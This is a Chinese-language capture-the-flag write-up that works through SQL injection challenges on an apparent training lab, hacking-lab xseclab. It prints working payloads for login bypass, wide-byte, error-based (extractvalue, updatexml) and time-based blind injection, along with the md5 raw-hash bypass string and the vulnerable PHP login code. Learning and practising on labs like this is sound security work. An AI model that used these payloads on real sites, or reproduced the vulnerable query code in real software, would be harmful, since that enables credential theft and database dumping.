最簡單的SQL注入
查看頁面源碼發現提示要登錄admin賬戶
果斷試試萬能密碼admin' or 1=1#
直接能看到flag了
最簡單的SQL注入(熟悉注入環境)
首先查看源碼,提示id=1,看樣子是個數字型注入,直接給id傳入1 or 1=1#
防注入
查看提示還是給id傳參,一開始以為是字符過濾,試了好久也沒試出來,后來在返回頭中看到charset=gb2312,猜測可能是個寬字節注入
給id=%df' 果然報錯了,接下來就是常規注入了,先order by得到一共三個字段
得到顯示位是2,3
然后直接查看當前數據庫為mydbs,繼續跑表發現只有一張sae_user_sqli4表,開始跑字段:id,title_1,content_1,猜測flag就在content_1中了
到底能不能回顯
一臉懵逼的去找了相關資料才恍然大悟,這里參考下面這篇博客:
http://www.freebuf.com/articles/web/57528.html
這里學到了一個PROCEDURE 關鍵字
老套路,直接報他的表:
最后得到article,user兩張表,繼續搜刮,得到id,username,password,lastloginIP四個字段
喜聞樂見去脫褲
邂逅
繼續一臉懵逼,提示id=1擺弄一波后還是毫無頭緒,那就去看看大佬的wp吧
一波百度后,發現是一個需要抓包的寬字節圖片注入(還有這種操作?)
掌握了新姿勢后果然出現了報錯(這個tip中的id太坑爹了,結果完全跟id沒毛線關系)
常規手法爆字段數,發現一共四個,接着發現顯示位是3,二話不說直接Duang表,還是熟悉的老套路:article,pic表,flag一臉在pic表中的樣子
還是原來的配方,不出意外的爆出字段:id,picname,data,text
又到了脫褲的時節,走你
輸入圖片地址即可看到flag圖
ErrorBased
看題目的提示是報錯注入,正好趁着這個機會在鞏固一下報錯注入
先爆個數據庫助助興,拿到當前數據庫mydbs
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
接着開始跑表,改變limit后面的數字就能遍歷所有表:log,motto,user
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆motto表中的列:id,username,motto
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6d6f74746f LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
最后爆出字段出現了問題,常規語句竟然報錯了,繼續百度,發現還有其他代替語句
常規語句:
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
ExtractValue
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)))%23
UpdateXml
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1),0x7e),1)%23
以上兩種方法都可以實現,最后遍歷一下即可拿到flag
盲注
之前已經做過基於內容與報錯的盲注了,猜測這個應該是基於時間的盲注
先試數據庫的長度,當數字為6時發生了延時,說明數據庫名共五個字符。
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((SELECT concat(database())))<5,sleep(5),1)%23
開始猜字:
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((SELECT concat(database())),1,1)='m',sleep(5),1)%23
這里說明一下,語句中的database()后面的那個1是控制五個字符串的位置的,比如1就是第一個字符,2就是第二個字符,這個語句的意思就是查詢當前數據庫名的第一個字符是否是m,若是m則延遲5s,依次遍歷出五個字符為mydbs。
查詢mydbs數據庫中表的數量:3
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(TABLE_NAME) from information_schema.tables where table_schema=0x6d79646273)=3,sleep(5),1)%23
查看表名的長度:3,5,4
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1))=3,sleep(5),1)%23
考驗耐心的時候到了,開始爆表名了
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1),1,1)='l',sleep(5),1)%23
這段語句就是判斷第一個表名的第一個字母是不是l,若為真就延遲
在舉個例子,要查詢第三個表名的第二個字母是不是l就應該這么寫:
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 2,1),2,1)='l',sleep(5),1)%23
最后整出三張表:log,motto,user
接着看motto表中有多少列:3
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(COLUMN_NAME) from information_schema.columns where table_name=0x6D6F74746F )=3,sleep(5),1)%23
測列名長:2,8,5
and if(length((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 0,1 ))=2,sleep(2),1)%23
同樣的手法開始跑列名,最后得出:id,username,motto
and if(substr((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 1,1 ),1,1)='u',sleep(2),1)%23
猜測motto有多少行:4
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(*) from motto)=4,sleep(5),1)%23
最后開始猜字段
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(ASCII(substr((select motto from motto limit 0,1),1,1))=109,sleep(5),1)%23
方法都擱這兒了,我撐不了了,還是拿sqlmap跑吧
SQL注入通用防護
看題目便是喜聞樂見的cookie注入,想着拿sqlmap跑一跑,沒想到沒跑粗來,氣到手工
先測測字段數發現是3,接着發現2號位是顯示位
接着就是常規注入了
爆出數據庫:mydbs,表:sae_manager_sqli8,sae_user_sqli8
sae_manager_sqli8表下的列:id,username,password
據說哈希后的密碼是不能產生注入的
查看源碼:
<?php include "config.php"; if(isset($_GET['userid']) && isset($_GET['pwd'])){ $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"; $conn=mysql_connect($dbhost,$username,$pwd); mysql_select_db($db,$conn); $result=mysql_query($strsql); print_r(mysql_error()); $row=mysql_fetch_array($result); mysql_close($conn); echo "<pre>"; print_r($row); echo "</pre>"; if($row!=null){ echo "Flag: ".$flag; } } else{ echo "PLEASE LOGINT!"; } echo "<noscript>"; echo file_get_contents(__FILE__);
看了wp才知道一個典型的md5注入,這里有個字符串:ffifdyop
md5后就變成了276f722736c95d99e921722cf9ed621c,轉成字符串就是'or'6<trash>
單引號成功閉合了pwd,大佬的writeup就是:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop
我瞅着原理也沒啥毛病 可就是不能成功
希望懂的大佬能告知